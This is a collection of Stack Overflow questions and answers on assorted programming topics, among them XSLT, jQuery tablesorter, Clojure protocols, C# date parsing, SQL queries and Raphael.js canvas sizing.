40549714	0	 <p>Depending on your XSLT processor you might first want to check whether there is support the the XPath 3.0 <code>serialize</code> function <a href="https://www.w3.org/TR/xpath-functions-30/#func-serialize" rel="nofollow noreferrer">https://www.w3.org/TR/xpath-functions-30/#func-serialize</a> or a built-in extension function to do the job.</p> <p>If you want to perform it with XSLT then, in your template, you need to process the attributes as well, e.g. </p> <pre><code>&lt;xsl:template match="*" mode="serialize"&gt; &lt;xsl:text&gt;&amp;lt;&lt;/xsl:text&gt; &lt;xsl:value-of select="name()"/&gt; &lt;xsl:apply-templates select="@*" mode="serialize"/&gt; ... &lt;/xsl:template&gt; </code></pre> <p>Be aware that worked out solutions like <a href="http://lenzconsulting.com/xml-to-string/" rel="nofollow noreferrer">http://lenzconsulting.com/xml-to-string/</a> exist and are probably better then a quick attempt with some templates as a proper serialization which really produces namespace well-formed XML that round-trips is quite a challenge. </p>
20152310	0	How to capture ring back tone (RBT) sound and record it in java android? <p>I hope to find answer here, I want to get the calling parties ring tone, I mean when you call somebody, before your call is established with that person, you may here some music instead of default beep sound, actually that person may have activated RBT or RING BACK TONE (from aT&amp;T maybe) on her mobile number. How I can capture her ring back tone sound stream and convert it to array of byte[]? I need to capture that RBT? thanks all,</p>
22762164	0	 <p><code>final_3root</code> is missing a return statement. </p> <p>Look closely at the error. <code>x</code> is <code>None</code>. If you trace it back, you'll see that the return value of that function is used, but it never returns anything. </p>
19892258	0	jquery tablesorter - formatted currency - what do I do wrong? <p>I had problems handling currencies, then I used this code</p> <pre><code>&lt;script type='text/javascript'&gt; $(document).ready(function () { $(&amp;quot;#3dprojector&amp;quot;).tablesorter(); } ); // add parser through the tablesorter addParser method $.tablesorter.addParser({ // set a unique id id: 'thousands', is: function(s) { // return false so this parser is not auto detected return false; }, format: function(s) { // format your data for normalization return s.replace('$','').replace(/,/g,''); }, // set type, either numeric or text type: 'numeric' }); $(function() { $("table").tablesorter({ headers: { 1: {//zero-based column index sorter:'thousands' } } }); }); &lt;/script&gt; </code></pre> <p>the problem is, it only sorts only one way. I'm not sure if I have used parser the right way. This script is before finishing /head tag on my website. Thanks for help :-)</p>
26196644	0	Clojure newbie struggling with protocols <p>I am attempting to build out the <a href="https://github.com/dustingetz/react-cursor" rel="nofollow">concept of a Cursor</a> in clojurescript, backed by an atom. A cursor is a recursive zipper like mechanism for editing an immutable nested associated datastructure.</p> <p>I am very newbie at Clojure, can you help me spot my errors?</p> <pre><code>(defprotocol Cursor (refine [this path]) (set [this value]) (value [this])) (defn- build-cursor* [state-atom paths] (reify Cursor (set [this value] (swap! state-atom (assoc-in @state-atom paths value))) (refine [this path] (build-cursor* state-atom (conj paths path))) (value [this] (get-in @state-atom paths)))) (defn build-cursor [state-atom] (build-cursor* state-atom [])) (comment (def s (atom {:a 42})) (def c (build-cursor s)) (assert (= (value c) {:a 42})) (set c {:a 43}) ;; WARNING: Wrong number of args (2) passed to quiescent-json-editor.core/set at line 1 &lt;cljs repl&gt; (assert (= (value c) {:a 43})) (def ca (refine c :a)) ;; WARNING: Wrong number of args (2) passed to quiescent-json-editor.core/refine at line 1 &lt;cljs repl&gt; (assert (= (value ca) 43)) (set ca 44) (assert (= (value ca) 43)) ) </code></pre>
30567208	0	C# How to Determine if Netwokr Path Exists w/o new Process <p>I want to check if a certain network drive is accessible and exit my addin if not. It's an Outlook 2013 addin in VSTO. Anyway, I would like to search for it by UNC if possible as \192.168.0.2\WAN\ or I could use the drive letter as a last last resort, but not everyone uses the same letter for that drive in our company. </p> <p>Anyway if I do <code>Directory.Exists("path with correct drive letter");</code> it hangs. I want to just see if its there or not. </p> <p>Can someone provide assistance and also give me a small example?</p> <p>Oh and by the way, there is an answer where a process is spawned to do net use. I wanted to do it without spawning a new process wanted to know if it was possible.</p> <p>Thanks a ton</p>
13732876	0	 <p>This one works for me ;-)</p> <pre><code>if (pref instanceof RingtonePreference) { Log.i("***", "RingtonePreference " + pref.getKey()); final RingtonePreference ringPref = (RingtonePreference) pref; ringPref.setOnPreferenceChangeListener(new OnPreferenceChangeListener() { @Override public boolean onPreferenceChange(Preference preference, Object newValue) { Log.i("***", "Changed " + newValue.toString()); Ringtone ringtone = RingtoneManager.getRingtone( SettingsActivity.this, Uri.parse((String) newValue)); ringPref.setSummary(ringtone.getTitle(SettingsActivity.this)); return true; } }); String ringtonePath=pref.getSharedPreferences().getString(pref.getKey(), "defValue"); Ringtone ringtone = RingtoneManager.getRingtone( SettingsActivity.this, Uri.parse((String) ringtonePath)); ringPref.setSummary(ringtone.getTitle(SettingsActivity.this)); } </code></pre>
37668337	0	 <p>Make sure that you check all bin folders. I mean it can be changed in bin folder, but reference in project can be still to 4.0.0.0.</p>
27963654	0	 <p>The display issue is caused by the Editor that outputs the iframe with size "width: 0px". </p> <p>Next step, finding a possible <strong>solution</strong>:</p> <p><strong>CSS</strong> Set a predefined width for all Iframes, example [CSS][1];</p> <p>OR</p> <p><strong>Jquery</strong> (Example: [change-iframe-width-and-height-using-jquery][2])</p> <pre><code>[1]: http://jsfiddle.net/7WRHM/1001/ [2]: http://stackoverflow.com/a/14913861/2842657 </code></pre> <p><strong><em>I have not tested thoroughly but this solution seems to solve the issue</em></strong>: </p> <pre><code>.cke_contents &gt; iframe{ width: 100% !important; } </code></pre>
23777013	0	 <p>This would be very easy with the PHP SDK. A <code>signed_request</code> parameter will get passed on to your iframe, and the PHP SDK offers a function called <code>getSignedRequest()</code> to parse it:</p> <p><a href="https://developers.facebook.com/docs/reference/php/facebook-getSignedRequest/" rel="nofollow">https://developers.facebook.com/docs/reference/php/facebook-getSignedRequest/</a></p> <p>For example:</p> <pre><code>$sr = $fb-&gt;getSignedRequest(); echo $sr['page']['id']; </code></pre> <p>With JavaScript it would be a lot more complicated. You could try to get the signed_request parameter like this: <a href="http://stackoverflow.com/questions/5448545/how-to-retrieve-get-parameters-from-javascript">How to retrieve GET parameters from javascript?</a> - But you would have to deal with the parameter on your own. Here´s how to parse the parameter on your own with PHP: <a href="https://developers.facebook.com/docs/facebook-login/using-login-with-games" rel="nofollow">https://developers.facebook.com/docs/facebook-login/using-login-with-games</a></p> <p>No Facebook SDK needed in that case, btw. And it should also work with PHP &lt;5.4.</p>
40632194	0	 <p>Within the standard language, the approach was typically to set aside storage in an array that was larger than likely needed, but still within the constraints of the platform running the program, then manually parcel that storage out as required. The language had features, such as sequence association, storage association, and adjustable arrays, that helped with this parcelling.</p> <p>Use of language extensions for dynamic memory management was also common.</p> <p>The capabilities of Fortran 77 and earlier need to be considered in the context of the capabilities of the platforms of the time.</p>
28431049	0	Converting DXL timestamp to C# DateTime <p>totally messed up with Lotus Notes DXL timestamp format... Given is a timestamp of an exported DXL from a Lotus Notes document, which looks like that:</p> <pre><code>20141104T132939,49+01 </code></pre> <p>Trying to get the format working with <code>DateTime.ParseExact</code>, like:</p> <pre><code>DateTime.ParseExact(dateStr.Substring(0, 13), "yyyyMMddThhmm", System.Globalization.CultureInfo.InvariantCulture).ToString("dd.MM.yyyy hh:mm"); </code></pre> <p>But with no luck >>> <code>System.FormatException "no valid DateTime format"</code>.</p> <p>Can C# handle the above timestamp as it is?</p>
4555057	0	UML and java classes <p>I do need your valuable help. A few weeks ago I developed a small program in Java. Probably a wrong approach, but I didn't tackle the problem with UML in mind, but on the basis of a given idea I built a fully functional piece of software which lives up to expectations.</p> <p>The program itself consist of two classes and several methods.</p> <p>Now I need to draw the corresponding UML class diagram and it seems a very knotty problem for me.</p> <p>Since the UML class diagram aims at showing the source code dependencies between classes, I'm wondering how I can draw a class diagram based on the following code.</p> <p>.................................................................</p> <p>import javax.swing.JPanel; class WavPanel extends JPanel {</p> <pre><code> List&lt;Byte&gt; audioBytes; List&lt;Line2D.Double&gt; lines; public WavPanel() { super(); setBackground(Color.black); resetWaveform(); } public void resetWaveform() { audioBytes = new ArrayList&lt;Byte&gt;(); lines = new ArrayList&lt;Line2D.Double&gt;(); repaint(); } } </code></pre> <p>................................................................</p> <p>In a nutshell, the WavPanel class is an example of inheritance. The JPanel class (part of a package) acts as a superclass. How can I solve the problem? My concern is that JPanel is a class which is part of a package.</p> <p>Furthermore, in order to draw a good class diagram am I wrong in thinking that maybe I had to do the UML diagram first and then write the associated code?</p> <p>The fact that I wrote several methods (instead of classes) and just a few classes, can that be a problem with UML? If so it would mean reengineering the entire software again.</p> <p>Thanks in advance . Any help will be highly appreciated.</p>
19188169	0	 <p>I would suggest you this approach:</p> <ul> <li>Split <code>userInput</code> string by white spaces: <code>userInput.split("\\s+")</code>. You will get an array. See <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/String.html#split%28java.lang.String%29" rel="nofollow">String.split()</a></li> <li>For question 1: iterate over the array comparing each string with your <em>keyword</em>. See <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/String.html#equals%28java.lang.Object%29" rel="nofollow">String.equals()</a> and <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/String.html#equalsIgnoreCase%28java.lang.String%29" rel="nofollow">String.equalsIgnoreCase()</a>.</li> <li>For question 2: add the array to a <a href="http://docs.oracle.com/javase/6/docs/api/java/util/Set.html" rel="nofollow">Set</a>. As this can't contain any duplicate item, its size will give you the answer.</li> </ul>
40092664	0	 <p>If nothing works, try replacing the contents of your file with the content of any other valid testng.xml file. This worked in my case.</p>
17060285	0	Java: double: how to ALWAYS show two decimal digits <p>I use double values in my project and i would like to always show the first two decimal digits, even if them are zeros. I use this function for rounding and if the value I print is 3.47233322 it (correctly) prints 3.47. But when i print, for example, the value 2 it prints 2.0 .</p> <pre><code>public static double round(double d) { BigDecimal bd = new BigDecimal(d); bd = bd.setScale(2, BigDecimal.ROUND_HALF_UP); return bd.doubleValue(); } </code></pre> <p>I want to print 2.00! </p> <p>Is there a way to do this without using Strings? </p> <p>Thanks!</p> <p>EDIT: from your answers (wich I thank you for) I understand that I wasn't clear in telling what I am searching (and I'm sorry for this): I know how to print two digits after the number using the solutions you proposed... what i want is to store in the double value directly the two digits! So that when I do something like this <code>System.out.println("" + d)</code> (where d is my double with value 2) it prints 2.00. </p> <p>I'm starting to think that there is no way to do this... right? Thank you again anyway for your answers, please let me know if you know a solution!</p>
25965636	0	MySQL count a number of entries within time period sharing at least 1 of 3 columns <p>I have a table that logs invalid user login attempts. Every time an invalid attempt is made, the username, user IP, user email and time/date is stored in the database.</p> <p>What I'd like to do is check if within ANY 24 hour time period there has been more than X invalid attempts by the same user. However, the users can change the email, username or IP at any point. So, I need to check that anyone of these 3 fields is in common.</p> <p>For example:</p> <ul> <li>User ID: 1; IP: 1.1.1.1; Email: test@test.com </li> <li>User ID: 2; IP: 1.1.1.1; Email: test2@test.com </li> <li>User ID: 1; IP: 1.1.1.2; Email: test3@test.com</li> <li>User ID: 4; IP: 1.1.1.4; Email: test@test.com</li> <li>User ID: 5; IP: 1.1.1.4; Email: test5@test.com</li> </ul> <p>All of these would match as the SAME user because they share EITHER the user ID, the IP or the email. Then I need to output all user IDs, IPs and emails so I can ban any user in another table that matches these criteria. </p>
25879057	0	 <p>You say you're outputting a csv. Are you sure your data fields have no commas in them? That can manifest as "extra" columns when you read the csv file. Or does your "NAME" field have single-quotes and commas in it that might break your explicit double-quoting?</p> <p>Look at the records with "extra" fields in them &amp; trace back to your source data. The first spurious value will tell you where the breakage is.</p>
22609877	0	 <p>the controls have an opacity when moving which by default is set to 0.4. To prevent that you can do this: </p> <pre><code>canvas.item(0).set({ borderOpacityWhenMoving: 1 }); </code></pre> <p>As far as I know the control knobs cannot be changed. You'd have to change the function that actually draws the controls. This is done in the function drawControls which either uses strokeRect or fillRect depending on the settings to draw the controls. You should be able to change the function to draw a circle.</p> <p>hope this helps. </p>
18915280	0	Consequences of including an external script file in a GTM tag <p>In GTM, lets say that I have a "custom HTML" tag, and in it include an external script file like </p> <p><code>&lt;script type="text/javascript" src="http://externalsite.com/file.js"&gt;&lt;/script&gt;</code></p> <p>How is this file loaded? Does it affect the loading time of the page?</p> <p>I know that the GTM script is loaded asynchronously along with the tags, but I can't really imagine what happens in this case.</p>
20192471	0	 <p>According to me you have to clear each activity from stack using</p> <pre><code> youractivityname.this.finish(); </code></pre>
2028626	0	 <p>No, an iPhone application can only change stuff within its own little sandbox. (And even there there are things that you can't change on the fly.)</p> <p>Your best bet is probably to use the servers IP address rather than hostname. Slightly harder, but not <em>that</em> hard if you just need to resolve a single address, would be to put a DNS server on your Mac and configure your iPhone to use that.</p>
37551807	1	How to send multiple messages to eventhub using python <p>I already send batch messages using C# libs. I want to do the same thing using python, how to do it? Actually I'm able to send single messages but batch send will increase my throughtput. This is the code:</p> <pre><code>from azure.servicebus import ServiceBusService key_name = 'RootManageSharedAccessKey' # SharedAccessKeyName from Azure portal key_value = '' # SharedAccessKey from Azure portal sbs = ServiceBusService(service_namespace, shared_access_key_name=key_name, shared_access_key_value=key_value) sbs.send_event('myhub', '{ "DeviceId":"dev-01", "Temperature":"37.0" }') </code></pre> <p>I think it's possible because on the manual it says:</p> <p>"The event content is the event message or JSON-encoded string that contains multiple messages."</p> <p><a href="http://azure-sdk-for-python.readthedocs.io/en/latest/servicebus.html?highlight=event%20hub" rel="nofollow">Link to the manual</a></p>
7780691	0	 <p>this.x and this.y are functional from the scope of your checkers pieces object; however, if you're accessing a piece outside of their scope, you must use a piece's instance name. Although not optimal, you could loop through children DisplayObjects.</p> <pre><code>// create a collection of your checker pieces var checkers:Array = []; // create a checker piece, whatever your DisplayObject class is. var checker:Checker; checkers.push(checker); // add it to the stage, probably your game board addChild(checker); checker.x = 100; checker.y = 100; // loop through the children (from your game board) for (var i:uint = 0; i &lt; numChildren; i++) { var checker:DisplayObject = getChildAt(i); trace(checker.x); trace(checker.y); } </code></pre> <p>Using coordinates to reference a piece may not be optimal for game play. You might want to consider a row / column or approach it from how your game board works.</p> <p>If this is not clear, you should specify some code or expand your question with more detail.</p>
3188853	0	Launching Android Native Lock Screen <p>I'm looking for a way to launch the native android lock screen from my application. I've looked around and found code about KeyGuardLock and KeyGuardManager but I believe that only locks the keyboard from working.</p> <p>REF: <a href="http://smartandroidians.blogspot.com/2010/03/enabling-and-disabling-lock-screen-in.html" rel="nofollow noreferrer">http://smartandroidians.blogspot.com/2010/03/enabling-and-disabling-lock-screen-in.html</a></p>
11671990	0	 <p>@Esailija is correct; return HTTP status codes so that jQuery's ajax error handler can receive the error.</p>
21801162	0	Cakephp - joining tables, NOT in <p>I'm a newbie and I'm trying to make a Query but don't get it how to do the Query in cake-style. I want to do a query that Selects all respondents thats not in a particular transformational. Examples at the bottom. Cakephp v 2.4.5</p> <p>I have to three tables/models:</p> <p>Resondents: id, name</p> <pre><code>public $hasAndBelongsToMany = array( 'Transformational' =&gt; array( 'className' =&gt; 'Transformational', 'joinTable' =&gt; 'transformationals_respondents', 'foreignKey' =&gt; 'respondent_id', 'associationForeignKey' =&gt; 'transformational_id', 'unique' =&gt; true ) ); </code></pre> <p>Transformationals: id, name</p> <pre><code> public $hasAndBelongsToMany = array( 'Respondent' =&gt; array( 'className' =&gt; 'Respondent', 'joinTable' =&gt; 'transformationals_respondents', 'foreignKey' =&gt; 'transformational_id', 'associationForeignKey' =&gt; 'respondent_id', 'unique' =&gt; true ), }; </code></pre> <p>TransformationasRespondent: id, transformational_id, respondent_id This is a join table</p> <p>Example tables: respondent: id, name 1, Abc 2, Def 3, Ghi 4, Jkl</p> <p>transformationals: id, name 1, Macrosoft 2, Eddy 3, Wag</p> <p>transformationals_respondents: id, respondent_id, transformational_id 1, 1, 7 2, 2, 7</p> <p>THen I need Query to SELECT respondents thats NOT in transformationals_respondents and has transformational_id 7. Ie. respondent Ghi and Jkl</p> <p>I would really appreciate a hand here.</p>
11385801	0	Sort by Double Value and not String Value <p>I'm currently pulling info from an sql DB where the 'cachedDist' column is set as a double. However when I pull it into my app and create my array I turn it into an String and the sort will obviously be off, 18.15 will come before 2.15. How do I fix that in my code so it will sort distance as a Double and not a String?</p> <p>In Bar object.</p> <pre><code>NSString *cachedDist @property(nonatomic,copy) NSString *cachedDist; </code></pre> <hr> <pre><code>@synthesize cachedDist; </code></pre> <hr> <p>My while loop in the View Controller.</p> <pre><code>while (sqlite3_step(sqlStatement)==SQLITE_ROW) { Bar * bar = [[Bar alloc] init]; bar.barName = [NSString stringWithUTF8String:(char *) sqlite3_column_text(sqlStatement,1)]; bar.barAddress = [NSString stringWithUTF8String:(char *) sqlite3_column_text(sqlStatement,2)]; bar.barCity = [NSString stringWithUTF8String:(char *) sqlite3_column_text(sqlStatement, 3)]; bar.barState = [NSString stringWithUTF8String:(char *) sqlite3_column_text(sqlStatement, 4)]; bar.barZip = [NSString stringWithUTF8String:(char *) sqlite3_column_text(sqlStatement, 5)]; bar.barLat = [NSString stringWithUTF8String:(char *) sqlite3_column_text(sqlStatement, 8)]; bar.barLong = [NSString stringWithUTF8String:(char *) sqlite3_column_text(sqlStatement, 9)]; if (currentLoc == nil) { NSLog(@"current location is nil %@", currentLoc); }else{ CLLocation *barLocation = [[CLLocation alloc] initWithLatitude:[bar.barLat doubleValue] longitude:[bar.barLong doubleValue]]; bar.cachedDist = [NSNumber numberWithDouble:[currentLoc distanceFromLocation: barLocation]/1000]; [thebars addObject:bar]; } </code></pre> <p>My sorting</p> <pre><code>NSSortDescriptor *descriptor = [[NSSortDescriptor alloc] initWithKey:@"cachedDist" ascending:YES]; sortedArray = [thebars sortedArrayUsingDescriptors:[NSArray arrayWithObject:descriptor]]; return sortedArray; </code></pre>
33310701	0	Merging cells with VBA <p>I'm looking to merge 3 horizontal cells, but i am doing so in a loop. The code looks something like this: </p> <pre><code>myrange.Range(cells(3,i), cells(3,i+3)).mergecells = true </code></pre> <p>This is not working. I'm guessing its because the code is trying to merge 2 cells that are not adjacent to each other. What is the syntax for merging a range of cells using this cell-address type?</p> <p>Any help would be greatly appreciated! thanks! </p>
11263964	0	 <p><a href="http://www.stunnel.org/" rel="nofollow">Stunnel</a> does almost exactly what you ask if the following conditions are met.</p> <ul> <li>One stunnel instance must be running for each service (either from inetd or in standalone daemon-like mode).</li> <li>The system running cURL must manually resolve the hostname of the target service to the IP address of the host running stunnel (e.g. <code>/etc/hosts</code>) in order to use it.</li> </ul> <p>I used stunnel in a similar way for connecting to IRC servers using SSL with SSL-capable clients. It works like a charm, one important thing to be careful about is the incompatibilities between the 3.x and newer versions. If you're planning for a new system, you should probably use the new ones.</p>
27003353	0	C# simple code to write an INSERT query is giving an exception <p>I have a very basic and beginner problem. I got a 5 line code and I got exception in that.</p> <p>My database : <img src="https://i.imgur.com/Tgp35mL.png" alt="Table -&gt; id,name"></p> <p>It has one table and two columns inside the table viz. id and name. I made a form.</p> <p>Here is my code:</p> <pre><code>private void button1_Click(object sender, EventArgs e) { SqlConnection conn = new SqlConnection("Data Source=(LocalDB)\\v11.0;AttachDbFilename=\"C:\\Users\\Nicki\\documents\\visual studio 2012\\Projects\\WindowsFormsApplication2\\WindowsFormsApplication2\\Database2.mdf\";Integrated Security=True"); conn.Open(); SqlCommand command = new SqlCommand("INSERT INTO Table (id,name) VALUES (1,'" + textBox1.Text + "')", conn); command.ExecuteNonQuery(); conn.Close(); } </code></pre> <p>I get the following exception on running the code: <img src="https://i.imgur.com/cmpGuEV.png" alt=""></p> <p>It says that I have syntax error even though the syntax error is correct. Any help would be appreciated.</p> <p>Thankyou!</p>
37804485	0	 <p>Check below code and comment:</p> <pre><code>import java.util.Arrays; public class SortString { public static void main(String[] args) { String str = "11,22,13,31,21,12"; StringBuffer strB = new StringBuffer(); String[] arr = str.split(","); // Split string save in array Arrays.sort(arr); // sort array for (int i = 0; i &lt; arr.length; i++) { //add array in stringbuffer if (i != arr.length - 1) { strB.append(arr[i] + ","); } else { strB.append(arr[i]); } } String str2 = strB.toString(); System.out.println(str2); } } </code></pre>
16806021	0	Friends and nested classes <p>Ok I'm totally frazzled on this. Code is begin to swim around the screen...must sleep.</p> <p>So! Ok, troubled by nested classes and friends.</p> <p>here is the pseudo-code</p> <pre><code> class A{ public: //constructor // member functions private: class B{ //private int a(); }; class C{ //private int b(); }; }; </code></pre> <p>So once an object of type A has been created, I would like it to access a() and b(). I know that I have to use a friend function for this. So where should I put friend class A. Is that the right expression?.</p>
6015196	0	Method to change self-closing tags to explicit tags in Javascript? <p>Does there exist a method or function that can convert the self-closing tags to explicit tags in Javascript? For example:</p> <pre><code>&lt;span class="label"/&gt; </code></pre> <p>converted to :</p> <pre><code>&lt;span class ="label"&gt;&lt;/span&gt; </code></pre> <hr> <p>I would like to copy a new HTML from the iframe to the outerHTML of the main page, as the new HTML generated contains self-closing tags, the outerHTML doesn't recognize them and then doesn't change and the page doesn't show correctly. But when the format is standard, that is,with the non-self-closing tags, the outerHTML will take the new HTML,and the page shows perfectly.This is why I would like to change the tags.</p> <hr> <h2>And this html is in a string</h2> <p>In fact, I don't want to parse HTML, I just want to find the "&lt; span.../>"and replace it with "&lt; span...>&lt; /span>"</p>
9645746	0	 <p>Facebook style video embed plugin for jQuery <a href="http://ajaxdump.com/2011/04/26/facebook-style-video-embed-plugin-for-jquery/" rel="nofollow">http://ajaxdump.com/2011/04/26/facebook-style-video-embed-plugin-for-jquery/</a></p>
10714707	0	 <p>Your approach is ok, but you can make something more generic, like storing the config data for Redis in a file or passing the host and port like arguments:</p> <p><code>node app.js REDIS_HOST REDIS_PORT</code></p> <p>Then in your app you can grab them using process.argv:</p> <pre><code>app.configure('development', function(){ app.use(express.errorHandler({ dumpExceptions: true, showStack: true })); var r = require("redis").createClient(process.argv[2], process.argv[3]); }); app.configure('production', function(){ app.use(express.errorHandler()); var r = require("redis").createClient(process.argv[2], process.argv[3], { detect_buffers: true }); }); </code></pre> <p>Update:</p> <p>Express will know in what environment you're in by looking at the NODE_ENV variable (process.env.NODE_ENV): <a href="https://github.com/visionmedia/express/blob/master/lib/application.js#L55">https://github.com/visionmedia/express/blob/master/lib/application.js#L55</a></p> <p>You can set that variable when starting the app like so: <code>NODE_ENV=production node app.js</code> (recommended), setting process.env.NODE_ENV manually in your node app before the Express code or putting that env var in ~/.profile like Ricardo said.</p>
16019599	0	 <p>@Saurabh Nanda: Similar to what you posted, you can also create a simple function to convert your varchar array to lowercase as follows:</p> <pre><code>CREATE OR REPLACE FUNCTION array_lowercase(varchar[]) RETURNS varchar[] AS $BODY$ SELECT array_agg(q.tag) FROM ( SELECT btrim(lower(unnest($1)))::varchar AS tag ) AS q; $BODY$ language sql IMMUTABLE; </code></pre> <p>Note that I'm also trimming the tags of spaces. This might not be necessary for you but I usually do for consistency.</p> <p>Testing:</p> <pre><code>SELECT array_lowercase(array['Hello','WOrLD']); array_lowercase ----------------- {hello,world} (1 row) </code></pre> <p>As noted by Saurabh, you can then create a GIN index:</p> <pre><code>CREATE INDEX ix_tags ON tagtable USING GIN(array_lowercase(tags)); </code></pre> <p>And query:</p> <pre><code>SELECT * FROM tagtable WHERE ARRAY['mytag'::varchar] &amp;&amp; array_lowercase(tags); </code></pre> <p><strong>UPDATE:</strong> Performance of <code>WHILE</code> vs array_agg/unnest</p> <p>I created table of 100K 10 element <code>text[]</code> arrays (12 character random mixed case strings) and tested each function.</p> <p>The array_agg/unnest function returned:</p> <pre><code>EXPLAIN ANALYZE VERBOSE SELECT array_lowercase(data) FROM test; QUERY PLAN ------------------------------------------------------------------------------------------------------------------------ Seq Scan on public.test (cost=0.00..28703.00 rows=100000 width=184) (actual time=0.320..3041.292 rows=100000 loops=1) Output: array_lowercase((data)::character varying[]) Total runtime: 3174.690 ms (3 rows) </code></pre> <p>The WHILE function returned:</p> <pre><code>EXPLAIN ANALYZE VERBOSE SELECT array_lowercase_while(data) FROM test; QUERY PLAN ------------------------------------------------------------------------------------------------------------------------ Seq Scan on public.test (cost=0.00..28703.00 rows=100000 width=184) (actual time=5.128..4356.647 rows=100000 loops=1) Output: array_lowercase_while((data)::character varying[]) Total runtime: 4485.226 ms (3 rows) </code></pre> <p><strong>UPDATE 2:</strong> <code>FOREACH</code> vs. <code>WHILE</code> As a final experiment, I changed the WHILE function to use FOREACH:</p> <pre><code>CREATE OR REPLACE FUNCTION array_lowercase_foreach(p_input varchar[]) RETURNS varchar[] AS $BODY$ DECLARE el text; r varchar[]; BEGIN FOREACH el IN ARRAY p_input LOOP r := r || btrim(lower(el))::varchar; END LOOP; RETURN r; END; $BODY$ language 'plpgsql' </code></pre> <p>Results appeared to be similar to <code>WHILE</code>:</p> <pre><code>EXPLAIN ANALYZE VERBOSE SELECT array_lowercase_foreach(data) FROM test; QUERY PLAN ------------------------------------------------------------------------------------------------------------------------ Seq Scan on public.test (cost=0.00..28703.00 rows=100000 width=184) (actual time=0.707..4106.867 rows=100000 loops=1) Output: array_lowercase_foreach((data)::character varying[]) Total runtime: 4239.958 ms (3 rows) </code></pre> <p>Though my tests are not by any means rigorous, I did run each version a number of times and found the numbers to be representative, suggesting that the SQL method (array_agg/unnest) is the fastest.</p>
1751540	0	specifying column names of a data frame within a function ahead of time <p>Suppose you're trying to create a data frame within a function. I would like to be able to define the column names ahead of time as one of the parameters of the function. Take the following code:</p> <pre><code> foo &lt;- function(a) { answer &lt;- data.frame(a=1:5) return(answer) } </code></pre> <p>In the above example, I would like to be able to specify the value of the column name in the function <code>foo()</code>, e.g. <code>foo('my.name')</code> so that answer has the column name <code>my.name</code> instead of <code>a</code>. I imagine you could code this up within the function using <code>colnames()</code>, but I was interested in an alternative approach.</p>
6981179	0	ComboBox not binding in datagrid <p>I have a ComboBox binded to BindingList with strings. It is working fine.</p> <pre><code>public BindingList&lt;string&gt; MyList { get { BindingList&lt;string&gt; list = new BindingList&lt;string&gt;(); list.Add("one"); list.Add("two"); list.Add("three"); return list; } } </code></pre> <p>xaml:</p> <pre><code>&lt;ComboBox x:Name="MyCmbBox" ItemsSource="{Binding Path=MyList}"&gt; &lt;ComboBox.ItemTemplate&gt; &lt;DataTemplate&gt; &lt;TextBlock Text="{Binding}" /&gt; &lt;/DataTemplate&gt; &lt;/ComboBox.ItemTemplate&gt; &lt;/ComboBox&gt; </code></pre> <p>When I same code put into the WPF 4 datagrid, it's not working any more (but the combo outside datagrid is still running ok):</p> <pre><code>&lt;DataGrid AutoGenerateColumns="False"&gt; &lt;DataGrid.Columns&gt; &lt;DataGridTemplateColumn&gt; &lt;DataGridTemplateColumn.CellTemplate&gt; &lt;DataTemplate&gt; &lt;ComboBox x:Name="MyCmbBox" ItemsSource="{Binding Path=MyList}"&gt; &lt;ComboBox.ItemTemplate&gt; &lt;DataTemplate&gt; &lt;TextBlock Text="{Binding}" /&gt; &lt;/DataTemplate&gt; &lt;/ComboBox.ItemTemplate&gt; &lt;/ComboBox&gt; &lt;/DataTemplate&gt; &lt;/DataGridTemplateColumn.CellTemplate&gt; &lt;/DataGridTemplateColumn&gt; &lt;/DataGrid.Columns&gt; &lt;/DataGrid&gt; </code></pre> <p>Why? Thank you</p>
37144408	0	 <p>Using maths function Logarithm should do the trick, as your speed will reach a limit and distance will also use the same path, the effect will be smoothier.</p>
7560858	0	problem displaying webpage on different computers <p>I have a very weird problem.<br> I have a webpage that displays some graphs using Jquery. This page works fine on my laptop &amp; my other colleagues laptop.<br> But there is one particular PC that does not display the webpage properly. I thought that it might be a browser issue but when I connected remotely to that PC from my laptop, the webpage displayed the graphs perfectly.<br> I am not sure if this is an hardware related problem, my laptop's screen size is 15" while the PC that gives problem has a screen size of 40"<br> Please help. </p> <p>Regards, Krum</p>
33835975	0	Does provisioning have a place in the Drupal world? <p>My team is relatively new to Drupal. One thing we have struggled to understand is how to work with it from a DevOps point of view. I realize this is too large a subject for one question so I have a more specific question that gets at the heart of the matter.</p> <p>How does one provision a Drupal instance? By "provision", I mean create a provisioning script that builds my CMS (we're only using Drupal for that purpose) starting with a clean virtual machine with only OS and web server. The script would install and configure Drupal and its modules and connect to an existing database containing my content. Or perhaps I can even have it add my content to Drupal instance with an empty database. I'm just not sure what makes sense.</p> <p>What I am trying to avoid is the uncertainty and non-reproducability that comes with doing everything interactively via Drupal's UI. I realize that Drupal has lots of techniques for exporting various things but there doesn't appear to be any coherent overall picture. Every bit of advice is of the form, "If you want to do (some specific thing), this is how you might do it." Or, even worse, "This worked for me." Neither of these things gives me much confidence or, more importantly, gives decent "best practices" advice that tells us what Drupal's designers intended.</p> <p>There are some Drupal "best practices" articles but they don't go much beyond advice such as, "Do a backup before changing anything." I need more useful advice.</p>
25478829	0	 <p>The problem is that your data coming asynchronously but you try save them synchronously. Step by step:</p> <ol> <li>You define variable trail = [] </li> <li>You return trail variable to controller</li> <li>Server responds with data (but you already return trail)</li> </ol> <p>You can solve this problem by using next code:</p> <pre><code>app.service("dataService", function ($http, $routeParams){ this.getSingleTrail = function (){ var trail = []; return $http.get("http://localhost:8080/DMW-skeleton-1.0/trail/findTrailByTrailId/" + $routeParams.trailId); }}) app.controller("searchTrailsCtrl", function ($scope, dataService ) { $scope.trail; dataService.getSingleTrail().success(function(data){ $scope.trail = data; }); }) </code></pre>
14363443	0	 <p>Rapheal doesn't have setters for <code>width</code> and <code>height</code> on the Paper object, so calling them is not affecting the DOM, but just setting some properties on the Paper object. </p> <p>Passing in the <code>width</code> and <code>height</code> params in the constructor will affect the SVG tag in the DOM.</p> <p>If you want to change the paper's width and height after constrcution, you can set the style properties of the SVG tag like so:</p> <pre><code>var paper = Raphael(domid); paper.canvas.style.width = '200px'; paper.canvas.style.height = '100px'; </code></pre> <p>As Kevin mentioned, it's probably better to use the <code>setSize</code> method to handle runtime resizing.</p> <p>eg)</p> <p><code>paper.setSize(200,100)</code></p> <p>Hope that helps.</p>
